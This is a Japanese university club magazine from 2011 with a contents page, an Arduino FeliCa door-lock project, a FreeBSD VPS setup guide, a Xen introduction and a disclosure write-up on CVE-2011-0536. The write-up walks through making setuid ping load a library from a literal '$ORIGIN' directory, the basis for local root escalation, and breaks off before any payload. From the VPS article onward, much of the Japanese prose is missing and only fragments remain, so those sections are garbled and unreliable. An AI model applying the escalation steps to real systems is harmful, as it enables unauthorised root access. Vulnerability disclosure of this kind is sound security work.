
電気通信大学 MMA の活動情報誌

hyakumangoku百萬石
Autumn 2011

楽しいテキストマイニング 
hayakawa

難読コードに挑戦
wataj

Arduinoで作る
kagisys2.0

hiro1357

aru

サーバー構築記的

Xen 入門
(VPS で ) 
サーバ構築、
しましょうか！

alstamber

ベ
ク
ト
ル
解
析
の
定
性
的
理
解

yam
azaki

今
更Tw

m
活
用
記

-Tw
m

をTw
m

っ
ぽ
く
な
く
す
る-

m
ernao

CVE-2011-0536

の

PoC

の
発
見
か
ら
報
告
ま
で

ytoku

マウスは窓から投げ捨てろ！
                             　kakakaya

Gnome を使わない
　                     noy

FreeBASIC のススメ
nomeaning

Brainf*ck プログラミング演習 
　                                 menonu

Bulldozer お葬式会場  
　         thunder_lab

ゲン・ゴー（機械記述言語３２ kcal）
　                                        suima8





部長挨拶
clear

2011年 11月

百萬石をお手に取って頂きありがとうございます。MMAはMicrocomputer Making Associationの略*1で、昔は名前の通り
コンピュータを製作していたそうですが、現在は Unix系 OS*2をはじめとするソフトウェアやネットワークの研究、開発などを
中心に、計算機に関わる様々なことに取り組んでいます。今年は ACM国際大学対抗プログラミングコンテスト (ICPC)に参加
し、アジア地区予選に進出することができました。
春に続き、今回もバリエーション豊かな記事が集まりました。ここで私が何か語るよりは、記事を読んでいただく方がよいで
しょう。*3

それでは、お楽しみ頂けると幸いです。

*1 実は別の言葉の略ではないのではないかという節がまことしやかに囁かれている
*2 部室では主に FreeBSDが動いています
*3 このページの余白はメモ用紙にでもどうぞ
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                 Autumn 2011

Arduino で作る kagisys2.0
                                                                 ･･･5お、この部品があれば何か作れるんじゃないか？

そう思ったのが、kagisys2.0 を作ろうと思ったきっかけでした。

hiro1357

(VPS で ) 
サーバ構築、しましょうか！
                                                                ･･･13「MMA に入部したからには自分で自由に使えるサーバを持ちたい！」
と漠然と思っていた alstamber さん。そんな彼が VPS と呼ばれるサー
ビスを用いて、一から自分のサーバを構築した記録である。

alstamber

サーバー構築記的 XEN 入門
                                                                ･･･17『物理的には一台しかないが、様々な OS で複数のサーバを構築した

い』という希望に答えてくれる仮想環境という選択肢。今回はその
仮想環境の中でも特にサーバ向けと呼ばれている Xen 環境上に様々
なサーバを構築してみた体験と共に Xen の入門書（？）としていく。

aru

CVE-2011-0536 の PoC の発見から報告まで 

　　　　　　　　　　　　　　　　　　　　･･･ 24
Red Hat Enterprise Linux 5/6 及びそのクローンで容易に root に昇
格できる脆弱性を見つけてしまった。修正されてから半年以上経
つのでもういい加減詳細を明かしても良いだろう。その発見から
報告までの流れを記す。

ytoku

Gnome を使わない
 　　　　　　　　　　　　　　　　　　　　･･･ 30
世の中には Gnome や KDE 等、綺麗で便利なデスクトップ環境が
あります。今回は、これらが流行する中埋れているウィンドウマ
ネージャ（以下 WM）を用いて、自分のデスクトップを構築した
話を書きます。

noy
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今更 Twm 活用記 -Twm を Twm っぽくなくする - 

　　　　　　　　　　　　　　　　　　　　･･･ 36何故か今になって Twm を MMA 部室の端末で使い始めたとある部
員のお話。しかもぱっと見 TWM に見えない。

mernao

ベクトル解析の定性的理解
 　　　　　　　　　　　　　　　　　　　　･･･ 41
電磁気学の理解には div, rot, grad という悪魔の様な壁が立ち塞が
る．暗記をすれば先へと進めるだろうが，電磁気というフィール
ドを移動する際に何らかの不都合が生じるかもしれない．ベクト
ル解析は如意宝なのである．理解して臨めば，複雑な式を理解す
ることも容易くなるのではないだろうか．

yamazaki

楽しいテキストマイニング
　　　　　　　　　　　　　　　　　　　　･･･ 47
私たちは日常的に多くのテキストに触れている。最近では、その多く
が web 上にあり、それらにアクセスする事は容易である。また、新
聞や小説やアンケートと言ったテキストデータもあり、世の中にはテ
キストが山のように溢れている。こういったテキストデータから、価
値のある情報を得ることをテキストマイニングという。

hayakawa

FreeBASIC のススメ
 　　　　　　　　　　　　　　　　　　　　･･･ 49
フリーの BASIC コンパイラとして FreeBASIC というものが開発さ
れているのだが，あまり知られていない……

k_operafan
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難読コードに挑戦
 　　　　　　　　　　　　　　　　　　　　･･･ 54IOCCC などに興味を持ったので、自分も難読 C コードを書いてみた。

wataj

マウスは窓から投げ捨てろ！
　　　　　　　　　　　　　　　　　　　　  ･･･ 56「ハハッ、僕マウス！今日は僕のとっても優れた仲間たちを紹介す
るよ！」

kakakaya

Bulldozer お葬式会場
 　　　　　　　　　　　　　　　　　　　　･･･ 59
2011 年 10 月 23 日、AMD は Bulldozer アーキテクチャを採用し
た CPU を発売した。

thunder_lab

Brainf*ck プログラミング演習
 　　　　　　　　　　　　　　　　　　　　･･･ 52
8 個の 1Byte 文字の命令からなるプログラミング言語 Brainfuck を
扱ってみましょう。

menonu

ゲン・ゴー（機械記述言語３２ kcal）
 　　　　　　　　　　　　　　　　　　　　･･･ 64

「機械言語を理解できたよ！お兄ちゃん！」と妹が言ってきたとき
に兄としてどう反応すれば良いでしょうか？部屋に置いてある適
当なプロセッサーのデータシートを渡して、ハンドアセンブルさ
せて見ましょう。

suima8
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お、この部品があれば何か作れるんじゃないか？

そう思ったのが、kagisys2.0 を作ろうと思った

きっかけでした。
hiro1357

■ kagisys って何？
　kagisys は、MMA の部室のドアの鍵を、

Felica（Sony の非接触 IC カード）で開閉し

ようというシステムです。MMA の先輩方

が開発・設置し、現在でも現役部員によっ

て運用されています。

　現在のシステムでは、鍵の管理を行っ

ているサーバーに直接 Felica カードリー

ダーとモーターが USB で接続されていま

す。カードリーダーにカードが検出される

と、サーバーでカードの ID の照合が行われ、

モーターでドアのサムターンを回す仕組
みになっています。

■ Arduino って何？

　Arduino は、マイコン（マイクロ・コン

トローラ）を扱いやすく工夫した、プロト

タイピング向けのマイコンボードです。

　私は、大学に入ってから、アルバイト先

のある方に Arduino を勧められて、始めて

マイコンに触りました。それまでも、マイ

コン ( マイクロ・コントローラ ) について

興味はありました。しかし、それまでホビー

用としてもよく見かけた PIC などは、ライ

ターをそろえなければならなかったり、環

境構築を行う必要があったりとハードルが

高いものだと感じていました。

Arduinoで作る
kagisys2.0

mailto:eserver_dip_jp@yahoo.co.jp
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▲  図１  Arduino の IDE

　Arduino はそのハードルをグンと下げて

くれました。

　たとえば、プログラミングをするために、

はじめから環境構築をする必要がない点で

す。Arduino には作成・デバッグから書き

込みまで行える、使い方も簡単な IDE が用

意されています。（図１）これは Arduino の

公式ウェブサイトから ZIP ファイルをダウ

ンロードし、展開するだけで使用すること

ができます。

　さらに、Arduino は、作成したプログラ

ムを書き込むときに、特別なライターを用

意する必要がありません。Arduino と PC を

USB で直接接続するだけで、PC 上でシリア

ルポートとして認識され、書き込みの準備

ができます。あとは、IDE の書き込みボタ

ンを押すだけで、プログラムがコンパイル

され、自動で書き込まれます。

■ 作ろうと思ったきっかけ

　作ろうと思ったきっかけですが、Arduino

でも動作するカードリーダー（RC-S620/S）

（図 2）を見つけたことと、鍵サーバーを移

行しようとした際に、移行先のサーバーの

USB 端子の調子が悪く、移行できなかった

ことからです。

　Arduino を Ethernet につないで、モーター

とカードリーダーを管理してあげれば、わ

ざわざ USB で直接駆動させずに済むように

なり、さらに Ethernet につながっているの

で、サーバーの切り替えも楽になるのでは

ないかと考えました。

▲  図 2   Felica のカードリーダー
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とえば、鍵サーバーやハードウェ

アなど）や開発終了後のメンテナ

ンス、今後引継ぎをすることなど

を考えると、やはり仕様書はあっ

たほうがよいだろうと考えたので、

仕様書の作成から始めることにし

ました。

■必要な部品

　仕様書を作成するに当たって、

とりあえず必要そうな部品につい

て書き並べてみました。

▼  表１  使用する部品等
名称 概要
ステップモーター ドアノブのサムターンを

回す。
RCS-620/S Felica を読み取り、IDm

を取得する。 
Arduino モーターと RCS-620/S を

管理する。
Ethernet シールド Arduino を Ethernet に

接続する。
サーバー 鍵を管理する。

　この表は大変大まかなもので、この表に

ある部品のほかにモーターを動かすための

ドライバー回路や AC アダプターなども必

要になってきます。( 仕様書として駄目 )

■ 通信フロー

■とりあえず仕様書を作成

　とりあえず考えながら作り始めてもよ

かったのですが、自分が開発しようとして

いるファームウエア（Arduino に書き込む

プログラム）以外の他の構成部分の開発（た

　次に、Arduino とサーバー、カードリー

ダーの通信フローについて考えました。

　実現したいこととしては、Arduino でサー

バーとカードリーダー・モーターの間の橋

渡しをしたかったので、（図３）のような通

信フロー図になりました。

　このフロー図に描いた内容を説明すると

▲  図３   通信フロー図
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次のようになります。

(1) Arduino は、平常時にはカードリーダー

に対してポーリング（カードの存在を確認）

を行います。

(2) カードリーダーにカードが検出された場

合には、カードリーダーから IDm（カード

の持つ ID）を取得できるため、それをサー

バーに通知します。

(3) サーバーは、通知された IDm と登録さ

れた IDm を照らし合わせ、登録された IDm

と通知された IDm が一致した場合には、

Arduino に対して鍵の開閉を行う指示を送

ります。

(4) Arduino は、サーバーからの指示内容を

実行します。

■ 通信プロトコル

　この通信フローを元に通信プロトコルを

考えました。

　はじめは、UDP/IP を用いてブロードキャ

ストアドレスにコマンドやデータを投げる

という方法を考えていました。

　しかし、Telnet 接続（TCP/IP）でコマン

ドを送受信して、対話式の通信を行ったほ

うが作るのに苦労しなかったため、この方

法で通信を行うことにしました。

　Arduino に Telnet で接続を行うと、プロ

ンプト "> " が表示されます。プロンプトに

コマンドを入力し、Arduino を操作してい

きます。( リスト１)

　コマンドの一覧も作成しました。( 表２)
▼  表２  コマンド一覧
コマンド 意味
toggle 状態に応じて、鍵を回す。
open 鍵を開ける。
close 鍵を閉める。
state 鍵の状態を確認する。
addkey 鍵を Arduino に登録する。
delkey 鍵を Arduino から削除する。
showkey 登録された鍵を表示する。

>open

STATE CHANGED!

state=open

>open

state=open

>close

STATE CHANGED!

state=close

>close

state=close

▲  リスト１   コマンドの実行例

 　addkey などのコマンドは、Arduino が

サーバーと通信できない場合でも、スタン

ドアロンで動作できるように、Arduino に

直接鍵を登録したり、削除をおこなったり

するためのコマンドです。
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　Arduino は、サーバーからのコマンドを

受け付けて処理するだけでなく、サーバー

にカードの検出を通知する必要があります。

　これには、Telnet に次のような出力をし

て対応することにしました。( リスト２)

CARD DETECTED!\r\n

idm=1234567890abcdef\r\n

▲  リスト２   カードの検出例

■ とりあえず実装してみる

　なんとなく仕様が見えてきたところで、

（まだあいまいな部分が残っていたりします

が）とりあえず実装してみることにしまし

た。

　まずはカードリーダー（RCS-620/S）を

動かす必要があります。そのために、カー

ドリーダーを動かすためのライブラリを次

のリンクからダウンロードします。

Arduino 向け RC-S620/S 制御ライブラリの提供

http://blog.felicalauncher.com/?p=2677

　このライブラリを使うと、カードリーダー

の、カードを検出する・IDm を取得すると

いった制御を簡単な関数で行えるようにな

ります。

　（このように、Arduino には公式やサード

パーティーのものも含めてたくさんのライ

ブラリが公開されています。これらのライ

ブラリを活用することで、大変高速に今す

ぐほしい装置を製作し、動作させることが

できます。すごいです。）

　このライブラリを使ってカードリーダー

が動作するようになったところで、ネット

ワーク機能を実装することにしました。

■ ネットワークに接続

　Arduino 単体には Ethernet への接続機能

はありません。ですので、ネットワークに

接続するには新しく部品を追加することに

なります。

　Arduino に は、 シ ー ル ド と 呼 ば れ る、

Arduino に重ねて使うことのできる部品

が 用 意 し て あ り ま す。 こ れ ら の 部 品 を

Arduino に接続することで、さまざまな機

能を追加することができます。

　もちろん、シールドにもそれぞれ動作さ

せるためのライブラリが存在し、Arduino

の IDE に同梱されています。

　というわけで、Arduino を Ethernet へ接

続するには、Ethernet シールドという部品

が必要になります。（図４）このシールドも
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例にもれず IDE に同梱のライブラリで簡単

に動作させることができます。

（忘れていましたが、ライブラリにはたいて

いサンプルプログラムが付属しています。

ライブラリの使い方がわからない場合は、

サンプルプログラムを改造してみるのもア

リです。）

■ コマンドの受付処理

　kagisys2.0 では、Telnet 経由でコマンド

を受信し、コマンドに応じて処理を実行す

るということにしていました。

　そこで、Telnet でコマンドを認識するた

めに、受信した文字を配列に格納して行き、

改行（LF）を受信した時点で文字列の比較

を行うという方法を使うことにしました。

（リスト３）

▲  図４   Ethernet シールド

■ カードと Telnet の共存

　さて、カードと Telnet でのコマンドの受

付はそれぞれ動いたのですが、これを同時

に動かさなければなりません。

　Arduino にはスレッドを分けて同時に実

行する機能はないため（CPU の能力的にも

むずかしい）、自分でどうにかしなければな

りません。

　とりあえず、それぞれの処理を交互に動

かすことで擬似的に再現できそうだったた

め、それぞれを関数にわけ、ループ処理内

で交互に呼び出されるようにすることでな

んとか解決しました。（リスト４）（Arduino

  Client client = server.available();
  
  if (client) {
        char thisChar = client.read();

    if(thisChar == '\n' || command_count > 50){
      command[command_count] = '\0';
      exec_command(command);
      command_count = 0;

    }else{
      if(thisChar != '\r'){
        command[command_count] = thisChar;
        command_count++;
      }//end if
        server.write(thisChar);
    }//end if
  }//end if

▲  リスト３   コマンドの受信
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には外部割り込みの機能がついているの

で、それを使えるのが一番よいのですが、

カードリーダーの Arduino 向けに公開され

ているライブラリでは、割り込みのための

トリガを取り出す方法がないため、ポーリ

ングをするようにしています。お金を出し

て SDK を買えばきっとする方法はあるので

しょうけれど。）

■ 各コマンドの実装

　最後に、Telnet からのコマンドを受け付

けたり、カードリーダーにカードが検出さ

れたときの動作を実装していきます。

　条件分岐の中に動作を書いていくと、大

変長い関数が出来上がってしまうので、各

コマンドはそれぞれ別々の関数に書くこと

にしました。（リスト５）

　まだ実際のモーターがついていないので、

モーターの部分については実装しませんが、

鍵の状態はとりあえずグローバル変数で保

持することにしました。

　しかし、この方法では、電源が切れた場

int exec_command(char *cmd){
  if(command_count < 1){
  }else{
    if(strcmp(cmd, "open")==0){
      keyopen();
    }else if(strcmp(cmd, "close")==0){
      keyclose();
    }else if(strcmp(cmd, "toggle")==0){
      keytoggle();
    }else if(strcmp(cmd, "status")==0){
      getkeystatus();
    }else if(strcmp(cmd, "addkey")==0){
      addkey();
    }else if(strcmp(cmd, "delkey")==0){
      delkey();
    }else if(strcmp(cmd, "showkey")==0){
      showkey();
    }else{
      server.write("No such command.\r\n");       
    }//end if
  }//end if
  server.write('>');
  return 0;
}//end int exec_command()

合に実際の鍵の状態がわからなくなってし

まうため、EEPROM にそのつど状態を書き

込む、センサーを取り付けて実際の鍵の状

態の取得を試みるなど、より確実な方法を

採用したいと思っています。

（内臓の EEPROM にそのつど書き込む方法

は、EEPROM の使用可能回数を消費して寿

命を縮めるため、あまり実用的ではありま

せん。もしこの方式を採用するならば、交

換可能な外付けの EEPROM を使おうと考え

ています。）　

void loop(){
  telnet_process();
  cardreader_process();
}

▲  リスト４   擬似スレッド

▲  リスト５   コマンドの受信
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▲  図５   動作中の様子

■ とりあえず動かしてみた

　モーターを回す部分を除いて、ひととお

り Arduino の処理する部分ができたので、

モーターの代わりに LCD に鍵の状態を表示

するようにして動かしてみました。

　開発用 PC と Arduino を Ethernet でつな

ぎ、Arduino に Telnet で接続を行うと、プ

ロンプトが表示され、コマンドの入力をす

ることができました。コマンドに応じて、

Arduino 上の LCD に open、close という状

態が表示されています。Felica カードをカー

ドリーダーに乗せると、カード検出の出力

も確認できました。

　鍵を登録して、スタンドアローンで動作

する機能も実装しました。検出されたカー

ドの IDm をコマンドを使用して登録する

と、Arduino の EEPROM に IDm が 書 き 込

まれ、Arduino 単体でも簡易 kagisys とし

て動作するようになっています。

　IDm の登録後、開発用 PC から切り離し、

AC アダプタを接続して動作させると、登録

済みのカードで鍵の状態を変更することが

できました。もちろん、そのほかのカード

には反応しません。

■ まだまだ開発中！

　さて、ここまできたわけですが、現在で

きているのはここまでで、ここから先はま

だまだ開発中です。

　現在の状態では、まだ解決できていない

課題も存在します。たとえば、正しい鍵の

状態が把握できないことや、コマンドを正

しく認識できない場合があることなどです。

　また、これからは鍵サーバーやモーター、

その他の部品とあわせての開発になります。

　まだまだ始まったばかりですが、完成す

るまで根気強くがんばりたいと思っていま

す。
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(VPS ) *1

alstamber
alstamber@mma.club.uec.ac.jp

MMA alstamber VPS

1

MMA 2 MMA

MMA ( 2 )

MMA

IP *2

VPS

2 VPS

VPS

VPS(Virtual Private Server)

VPS

VPS

Web

VPS VPS

1 2 *3

3

VPS MMA VPS

• CPU 2Core

• 512MB

• HDD 20GB

*1

*2

*3
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• 100Mbps

• Global IP IPv4 1

• OS CentOS 5 (x64)

OS FreeBSD8.2-RELEASE (x64)

• blog

• IPv6

• PHP

blog http://589lab.net/

Alstroemeria*4

4 FreeBSD

VPS CentOS CentOS

*5 CentOS

MMA FreeBSD OS

VPS Web FreeBSD

FreeBSD-8.1

IP

FreeBSD

FreeBSD VPS HDD

swap /etc/fstab swap

reboot swap FreeBSD

fdisk

FreeBSD wget dd

FreeBSD

sysinstall grub reboot sysinstall VPS

Web VNC FreeBSD

minimal

5

5.1

ssh

VNC ssh /etc/rc.conf ssh

root� �
# adduser

� �

*4

*5
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sudo sudo su

ports� �
# cd /usr/ports/security/sudo

# make install clean
� �

visudo wheel sudo wheel

ntpd ntp ntp.nict.jp

vim*6 portmaster

zsh

5.2 MySQL

blog

MySQL

MySQL rc.conf MySQL MySQL� �
# mysql -u root

mysql> SET PASSWORD FOR root@localhost=password(’root ’); /* root */

mysql> DELETE FROM mysql.user WHERE user=’’; /* */

mysql> DROP DATABASE test; /* test */

mysql> CREATE DATABASE wordpress; /* */

mysql> GRANT ALTER,CREATE,DELETE,DROP,INSERT,LOCK TABLES,SELECT,UPDATE ON wordpress.* TO

@localhost IDENTIFIED BY ’ ’; /* */

mysql> EXIT; /* */

� �

5.3 Apache

blog Web Web Apache Apache

munin munin.589lab.net munin

VirtualHost munin munin

5.4 PHP

blog wordpress wordpress PHP

wordpress PHP PHP

extensions PHP Apache

httpd.conf PHP� �
<IfModule dir_module>

DirectoryIndex index.html index.htm index.cgi index.php

</IfModule>

<IfModule mime_module>

AddType application/x-httpd-php .php

</IfModule>
� �

php.ini PHP PHP

*6 gvim
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5.5 wordpress

wordpress

wordpress phpMyAdmin

phpMyAdmin Web MySQL

IP

blog

6 Apache

VPS Apache

*7 Apache

httpd.conf� �
StartServers 25

MinSpareServers 25

MaxSpareServers 25

ServerLimit 25

MaxClients 25

MaxRequestsPerChild 50

� �
Apache Apache blog

Web

100

7

blog

6rd IPv6 VPS IPv6

6rd IPv6 IPv4 IPv6 *8

6rd IPv6

IPv4

IPv6 IPv4 IP

IPv6 FreeBSD 6rd *9

if stf.c

FreeBSD

VPS UNIX OS

*7 2G
*8 6to4
*9 http://people.allbsd.org/˜hrs/FreeBSD/stf 6rd 20100923-1.diff
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Xen Xen
Aru

aru@mma.club.uec.ac.jp

OS

Xen Xen

1 Xen

VirualBox VMWare Xen

Xen 7 Linux3.0 Xen

Xen Xen

2

OS *1 *2

2.1 OS(Domain-0)

• OS OpenSuSE11.4

•

2.2 (Domain-U)

• OS FreeBSD8.2-RELEASE

• DNS DHCP

installkernel (SA )

2.3 (Domain-U)

• OS Debian Squeeze(stable)

• http irc

3

VMWare VirtualBOX

Domain-U

Domain-0 Xen

*1

*2
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Linux 3.0

FreeBSD 8.2-RELEASE i386

Windows

Linux OS

4

Xen

4.1

� �
1 name = "grafeisen"

2 uuid = "3ad63be3-c6a1-f20b-6739-d2f42211f704"

3 maxmem = 1024

4 memory = 1024

5 vcpus = 1

6 kernel = "/etc/xen/vm/grafeisen/vmlinuz"

7 ramdisk = "/etc/xen/vm/grafeisen/initrd.img"

8 extra = "root=/dev/xvda1 rw xencons=tty clock=jiffies"

9 on_poweroff = "destroy"

10 on_reboot = "restart"

11 on_crash = "destroy"

12 disk = [ "file:/etc/xen/vm/grafeisen/disk.img,xvda1,w"

13 ,"file:/etc/xen/vm/grafeisen/swap.img,xvda2,w"

14 ,"phy:/dev/md0,xvdb1,w" ]

15 vif = [ "mac=00:16:3e:04:b1:2f,bridge=virbr0,script=vif-bridge" ]

� �
• 1 grafeisen

• 3 1024MB

• 4 1024MB

• 5 1 CPU

• 6 Domain-0 Domain-0

• 7 initrd Domain-0 initrd Domain-0

• 8

• 9

• 10

• 11

• 12 14 Domain-0

file: /dev phy: r

w

• 15 mac Domain-0
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4.2

� �
1 name = "laevantein"

2 uuid = "7529c131-0dee-c71b-29b5-2639ada1fa6a"

3 maxmem = 1024

4 memory = 1024

5 vcpus = 1

6 builder = "hvm"

7 kernel = "/usr/lib/xen/boot/hvmloader"

8 boot = "c"

9 pae = 1

10 acpi = 1

11 apic = 1

12 hap = 1

13 localtime = 0

14 on_poweroff = "destroy"

15 on_reboot = "restart"

16 on_crash = "destroy"

17 device_model = "/usr/lib64/xen/bin/qemu-dm"

18 vfb = [ "type=vnc,vncunused=1" ]

19 disk = [ "file:/etc/xen/vm/laevantein/disk.img,hda,w" ]

20 vif = [ "mac=00:16:3e:04:b1:fe,bridge=virbr0,script=vif-bridge" ]

21 parallel = "none"

22 serial = "none"
� �

• 6

• 7

• 8 c HDD d CD

• 17 Xen QEMU

• 18 VNC VNC
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5 xm

initrd Domain-0 Xen

xm� �
# xm create < >

� �
� �

# xm shutdown < >
� �
� �

# xm destroy < >
� �
� �

# xm list
� �

6 libvirt

libvirt API

XML
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7 libvirt

7.1 aru-xen/grafeisen

� �
1 <domain type=’xen’>

2 <name>grafeisen</name>

3 <uuid>3ad63be3-c6a1-f20b-6739-d2f42211f704</uuid>

4 <memory>1048576</memory>

5 <currentMemory>1048576</currentMemory>

6 <vcpu>1</vcpu>

7 <os>

8 <type arch=’x86_64’ machine=’xenpv’>linux</type>

9 <kernel>/etc/xen/vm/grafeisen/vmlinuz</kernel>

10 <initrd>/etc/xen/vm/grafeisen/initrd.img</initrd>

11 <cmdline>root=/dev/xvda1 rw xencons=tty clock=jiffies</cmdline>

12 </os>

13 <clock offset=’utc’/>

14 <on_poweroff>destroy</on_poweroff>

15 <on_reboot>restart</on_reboot>

16 <on_crash>destroy</on_crash>

17 <devices>

18 <disk type=’file’ device=’disk’>

19 <driver name=’file’/>

20 <source file=’/etc/xen/vm/grafeisen/disk.img’/>

21 <target dev=’xvda1’ bus=’xen’/>

22 </disk>

23 <disk type=’file’ device=’disk’>

24 <driver name=’file’/>

25 <source file=’/etc/xen/vm/grafeisen/swap.img’/>

26 <target dev=’xvda2’ bus=’xen’/>

27 </disk>

28 <disk type=’block’ device=’disk’>

29 <driver name=’phy’/>

30 <source dev=’/dev/md0’/>

31 <target dev=’xvdb1’ bus=’xen’/>

32 </disk>

33 <interface type=’bridge’>

34 <mac address=’00:16:3e:04:b1:2f’/>

35 <source bridge=’virbr0’/>

36 <script path=’vif-bridge’/>

37 </interface>

38 <console type=’pty’>

39 <target type=’xen’ port=’0’/>

40 </console>

41 </devices>

42 </domain>
� �
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7.2 laevantein
� �
1 <domain type=’xen’>

2 <name>laevantein</name>

3 <uuid>7529c131-0dee-c71b-29b5-2639ada1fa6a</uuid>

4 <memory>1048576</memory>

5 <currentMemory>1048576</currentMemory>

6 <vcpu>1</vcpu>

7 <os>

8 <type arch=’x86_64’ machine=’xenfv’>hvm</type>

9 <loader>/usr/lib/xen/boot/hvmloader</loader>

10 <boot dev=’hd’/>

11 </os>

12 <features>

13 <acpi/>

14 <apic/>

15 <pae/>

16 <hap/>

17 </features>

18 <clock offset=’utc’/>

19 <on_poweroff>destroy</on_poweroff>

20 <on_reboot>restart</on_reboot>

21 <on_crash>destroy</on_crash>

22 <devices>

23 <emulator>/usr/lib64/xen/bin/qemu-dm</emulator>

24 <disk type=’file’ device=’disk’>

25 <driver name=’file’/>

26 <source file=’/etc/xen/vm/laevantein/disk.img’/>

27 <target dev=’hda’ bus=’ide’/>

28 </disk>

29 <interface type=’bridge’>

30 <mac address=’00:16:3e:04:b1:fe’/>

31 <source bridge=’virbr0’/>

32 <script path=’vif-bridge’/>

33 </interface>

34 </devices>

35 </domain>
� �
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8 virsh

libvirt virsh� �
# virsh create < >

� �
� �

# virsh shutdown < >
� �
� �

# virsh destroy < >
� �
� �

# virsh list
� �

9

Xen libvirt



24      hyakumangoku    Autumn 2011

CVE-2011-0536 PoC
ytoku ( )

ytoku@mma.club.uec.ac.jp

Red Hat Enterprise Linux 5/6 root

1 Scientific Linux 6.0

2011 3 5 Scientific Linux*1 6.0 Scientific Linux 6.0

UTF-8 LANG ja_JP.eucJP

ping

-bash-4.1$ ping localhost

ping: IDN encoding of ’localhost’ failed with error code 9

renda

• root

• ping6

• Fedora14 LANG=ja_JP.eucJP

• Fedora14 ping

2

3 6 wiki

Fedora iputils-20070202-idn.patch *2

ping IDN*3

IDN libidn ping6 libidn IDN

-bash-4.1$ ldd /bin/ping

linux-gate.so.1 => (0x0076c000)

libidn.so.11 => /lib/libidn.so.11 (0x0063e000)

libc.so.6 => /lib/libc.so.6 (0x00a5d000)

/lib/ld-linux.so.2 (0x00a3b000)

-bash-4.1$ ldd /bin/ping6

linux-gate.so.1 => (0x007cc000)

libc.so.6 => /lib/libc.so.6 (0x00a5d000)

/lib/ld-linux.so.2 (0x00a3b000)

IDN

2

*1 Red Hat Enterprise Linux CERN Fermilab
*2 https://www.redhat.com/archives/fedora-cvs-commits/2007-March/msg01312.html

*3 :
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iputils-20070202-idn.patch� �
@@ -236,13 +248,35 @@

if (argc == 1)

options |= F_NUMERIC;

} else {

+#ifdef LIBIDN

+ rc = idna_to_ascii_lz (target, &idn, 0);

+ if (rc == IDNA_SUCCESS)

+ hp = gethostbyname (idn);

+ else {

+ fprintf(stderr, "ping: IDN encoding of ’%s’ failed with error code %d\n", target, rc);

+ exit(2);

+ }

+ free(idn);

+#else

hp = gethostbyname(target);

+#endif

if (!hp) {

fprintf(stderr, "ping: unknown host %s\n", target);

exit(2);

}

memcpy(&whereto.sin_addr, hp->h_addr, 4);

+#ifdef LIBIDN

+ rc = idna_to_unicode_lzlz (hp->h_name, &idn, 0);

+ if (rc == IDNA_SUCCESS)

+ strncpy(hnamebuf, idn, sizeof(hnamebuf) - 1);

+ else {

+ fprintf(stderr, "ping: IDN encoding of ’%s’ failed with error code %d\n", hp->h_name, rc);

+ exit(2);

+ }

+ free(idn);

+#else

strncpy(hnamebuf, hp->h_name, sizeof(hnamebuf) - 1);

+#endif

hnamebuf[sizeof(hnamebuf) - 1] = 0;

hostname = hnamebuf;

}
� �

idna_to_ascii_lz IDNA_ICONV_ERROR(=9) libidn

stringprep_locale_to_utf8 NULL
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libidn: idna.c� �
idna_to_ascii_lz (const char *input, char **output, int flags)

{

char *utf8;

int rc;

utf8 = stringprep_locale_to_utf8 (input);

if (!utf8)

return IDNA_ICONV_ERROR;

rc = idna_to_ascii_8z (utf8, output, flags);

free (utf8);

return rc;

}
� �
stringprep_locale_to_utf8 iconv

libidn: toutf8.c� �
char *

stringprep_convert (const char *str,

const char *to_codeset, const char *from_codeset)

{

#if HAVE_ICONV

return str_iconv (str, from_codeset, to_codeset);

#else

...

#endif

}

char *

stringprep_locale_to_utf8 (const char *str)

{

return stringprep_convert (str, "UTF-8", stringprep_locale_charset ());

}
� �
stringprep_locale_charset nl_langinfo(CODESET) "EUC-JP"

str_iconv(str, "EUC-JP", "UTF-8")

str_iconv libidn EUC-JP UTF-8

ping strace

-bash-4.1$ strace ping localhost 2>&1 | less

...

open("/usr/lib/gconv/EUC-JP.so", O_RDONLY) = 3

...

open("$ORIGIN/tls/i686/sse2/libJIS.so", O_RDONLY) = -1 ENOENT (No such file or directory)

open("$ORIGIN/tls/i686/libJIS.so", O_RDONLY) = -1 ENOENT (No such file or directory)
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open("$ORIGIN/tls/sse2/libJIS.so", O_RDONLY) = -1 ENOENT (No such file or directory)

open("$ORIGIN/tls/libJIS.so", O_RDONLY) = -1 ENOENT (No such file or directory)

open("$ORIGIN/i686/sse2/libJIS.so", O_RDONLY) = -1 ENOENT (No such file or directory)

open("$ORIGIN/i686/libJIS.so", O_RDONLY) = -1 ENOENT (No such file or directory)

open("$ORIGIN/sse2/libJIS.so", O_RDONLY) = -1 ENOENT (No such file or directory)

open("$ORIGIN/libJIS.so", O_RDONLY) = -1 ENOENT (No such file or directory)

...

$ORIGIN EUC-JP.so

$ORIGIN /usr/lib/gconv

libJIS.so

-bash-4.1$ strace ./test-striconv 2>&1 | less

...

open("/usr/lib/gconv/EUC-JP.so", O_RDONLY) = 3

...

open("/usr/lib/gconv/libJIS.so", O_RDONLY) = 3

...

$ORIGIN EUC-JP.so

-bash-4.1$ strings /usr/lib/gconv/EUC-JP.so | grep ORIGIN

$ORIGIN

glibc

-bash-4.1$ rpm -qf /usr/lib/gconv/EUC-JP.so

glibc-2.12-1.7.el6_0.3.i686

glibc spec

* Mon Oct 18 2010 Andreas Schwab <schwab@redhat.com> - 2.12-1.7.el6_0.2

- Never expand $ORIGIN in privileged programs (#643821)

$ORIGIN ping suid-bit

-bash-4.1$ ls -l /bin/ping

-rwsr-xr-x 1 root root 42136 11 23 18:49 2010 /bin/ping

glibc 2010 10 Windows

DLL

CVE-2010-3847 Red Hat bugzilla “glibc: ld.so insecure handling of $ORIGIN in

LD AUDIT for setuid/setgid programs”

Fedora Fedora

glibc

open("$ORIGIN/libJIS.so", O_RDONLY)

root

$ORIGIN libJIS.so
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-bash-4.1$ mkdir \$ORIGIN

-bash-4.1$ cp /usr/lib/gconv/libJIS.so \$ORIGIN/

-bash-4.1$ ping localhost

PING localhost (127.0.0.1) 56(84) bytes of data.

...

-bash-4.1$ strace ping localhost 2>&1 | grep libJIS

open("$ORIGIN/tls/i686/sse2/libJIS.so", O_RDONLY) = -1 ENOENT (No such file or directory)

open("$ORIGIN/tls/i686/libJIS.so", O_RDONLY) = -1 ENOENT (No such file or directory)

open("$ORIGIN/tls/sse2/libJIS.so", O_RDONLY) = -1 ENOENT (No such file or directory)

open("$ORIGIN/tls/libJIS.so", O_RDONLY) = -1 ENOENT (No such file or directory)

open("$ORIGIN/i686/sse2/libJIS.so", O_RDONLY) = -1 ENOENT (No such file or directory)

open("$ORIGIN/i686/libJIS.so", O_RDONLY) = -1 ENOENT (No such file or directory)

